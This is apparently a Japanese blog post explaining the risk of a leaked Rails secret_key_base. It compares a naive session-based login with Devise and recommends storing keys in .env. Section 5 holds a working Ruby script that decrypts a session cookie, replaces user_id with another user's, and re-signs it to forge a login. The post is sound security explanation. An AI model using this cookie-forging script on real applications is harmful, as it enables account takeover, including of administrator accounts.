1. 初めに
Rails使ってる人ならお馴染みのsecret_key_baseですが,
漏れたらどうまずいのかを調べてみたので,まとめてみます.
2. secret_key_baseの用途
Railsはクッキーの中にsession情報が入っており,
その情報によってユーザの識別をしているようです.
例えば,次のようなクッキーの場合
NVB2RGdRcTh4bGJEbHJQMG5DT0JUNzJwaVNIeDFmQ2dxdFlFaVNsMHgxeGRsU2FNUTZsSU5UQWJDOXdtamNSMTdHQ1RwQUN4dnVDSXh3bG9PNHRDbXpyRnlIYUVHQmpodXFKVHRRY2RuamZsazFGOXNuNEEwS3hUUGI4eDMxblpIRm9HWjZVZXd5K0d1TGxGYzBTVFRRPT0tLVo2bjFmMERWRENKVzJ3dXZJVDZ0SVE9PQ%3D%3D--e5605674f98bd6167f9a316411bebc3f371c3298
こういった情報が入っています.
{"session_id"=>"8bbf6144b47ead4976087cc3006ea5a6", "_csrf_token"=>"Fei3PFeOxfDUPPxDZJz1H4+/NsCsHlNLDBRft9FImT0=", "user_id"=>1}
このように暗号/復号化をするための鍵としてsecret_key_baseが使われています.
3. cookieの改変
上記のようにcookieのデータによってユーザ情報などは管理されています.
そのため,このデータを改変することで他人のアカウントでのログインが可能になってしまいます.
例えば,
Rails4での基本的なセッションの使い方
この記事のような簡易的な実装を行っていた場合,sessionは大体以下の様な感じになります.
{"session_id"=>"8bbf6144b47ead4976087cc3006ea5a6", "_csrf_token"=>"Fei3PFeOxfDUPPxDZJz1H4+/NsCsHlNLDBRft9FImT0=", "user_id"=>1}
この実装ではUserの探索を以下のようにしています.
class ApplicationController < ActionController::Base
private
# 現在のユーザーを取得する
# @_current_userが空の場合は、session情報をキーにしてDBから検索する
def current_user
@_current_user ||= User.find_by(id: session[:user_id])
end
end
この探索方法の場合,session[:user_id]を適当に変え,
管理者権限のアカウントを手にすることもできてしまいます.
この例ではdeviseを使わないシンプルな実装なので,
deviseを使っているともう一段階認証がかかります.
4. 簡易的なユーザ機能とdeviseの違い
deviseは一般的にお手軽なユーザ機能の実装として知られていると思いますが,
当たり前ですが,セキュリティ面でも自前の簡易実装よりセキュアな実装です.
例えば,deviseを使ったユーザ機能を持つアプリのcookieを解析すると以下のような出力になります.
{"session_id"=>"2824db7a08496c8e0bb06db391456d68", "warden.user.user.key"=>[[1], "$2a$10$nxvjYjdcWX4JQ05Oy069p."], "_csrf_token"=>"Gjcbr72IayFCU0d/f6lGJ4zrcV63e9gd6FlGhv3+HYo="}
warden.user.user.keyの中で指定されているのはuser_idとそれに紐づくパスワード情報となっています.
そのため,secret_key_baseが割れただけではアカウントをハックすることはできません.
その上,deviseがパスワードを暗号化する際には同じ文字列であっても,
パスワードを更新するたびに違う暗号化文となるため,パスワードだけ推測できてもハックできません.
つまり,ログインIDとなるものもセットでわかっていなければなりませんが,
IDとパスワードがわかっているならこんな事をする必要もないですね.
こうして考えるとdeviseを使った場合,仮にsecret_key_baseが漏れたとしても,
即座にセキュリティ的な大被害が起こるといったことはないように感じます.
ちなみに,deviseでは普通にbcryptによってパスワードが生成されています.
BCrypt::Password.create('create_password', cost: klass.stretches).to_s # cost => 10
生成時のコストは高いほどセキュアなものとなりますが,
ハードウェアにも負荷が高くなるため,その辺りは個々の条件によるかと思います.
自前でログイン機能を実装する際にも,session周りにパスワードを絡めておけば
deviseと同等のセキュアさは得られるのではないでしょうか.
5. 暗号化,復号化について
復号化の流れは以下のようになっています.
puts "Value for _sessiongoat_session:\n"
encrypted_session_value = gets.chomp
unescaped_content = CGI.unescape(encrypted_session_value)
secret = Rails.application.key_generator.generate_key('encrypted cookie')
sign_secret = Rails.application.key_generator.generate_key('signed encrypted cookie')
encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
decrypted_hash = encryptor.decrypt_and_verify(unescaped_content)
puts "Decrypted hash is:\n\n #{decrypted_hash}\n\n"
復号化したものを再度暗号化するものも含めるとこちらになります.
今回は簡易的にユーザを実装した場合の再暗号化になります.
deviseの場合は自身のUserモデルからidに紐づくパスワードを用いて書き換える必要があり,
その箇所をコメントアウトしています.
puts "Paste your encrypted session cookie value for _sessiongoat_session:\n"
encrypted_session_value = gets.chomp
unescaped_content = CGI.unescape(encrypted_session_value)
secret = Rails.application.key_generator.generate_key('encrypted cookie')
sign_secret = Rails.application.key_generator.generate_key('signed encrypted cookie')
encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
decrypted_hash = encryptor.decrypt_and_verify(unescaped_content)
puts "Decrypted hash is:\n\n #{decrypted_hash}\n\n"
puts "What user id would you like to modify instead of your own?\n"
new_user_id = gets.chomp.to_i
# user = User.find(new_user_id)
# authenticatable_salt = user.authenticatable_salt
# decrypted_hash['warden.user.user.key'] = [[new_user_id], authenticatable_salt]
decrypted_hash['user_id'] = new_user_id
puts "\n\n***************************************\n\n"
# puts "User with id #{new_user_id} and email address #{user.email} has hashed password #{user.encrypted_password} and authenticatable salt #{authenticatable_salt}\n\n"
puts "\n\n***************************************\n\n"
puts "Encrypting and signing hash:\n\n"
puts decrypted_hash
puts "\n\n***************************************\n\n"
puts "Encrypted and signed cookie value for _sessiongoat_session:\n\n"
puts encryptor.encrypt_and_sign(decrypted_hash)
自身のRails内のlib以下に2つのファイルを置き,
$ rails runner lib/*
から実行ができます.
実行時にsecrets.ymlに書かれているsecret_key_baseを読み取って暗号化,復号化を行えます.
secrets.yml自体をgitignoreに入れてる方もちらほらいます(昔は自分もそうでした)が,
productionのsecret_key_baseさえ漏れていなければ,問題はありません.
漏らしたくない情報はdotenv-railsと組み合わせて,
.envにsecret_key_baseやtokenの情報を書くのが一般的になっているようです.
解釈が間違っている所,追記したほうがいい所などありましたらコメントお願いします.
参考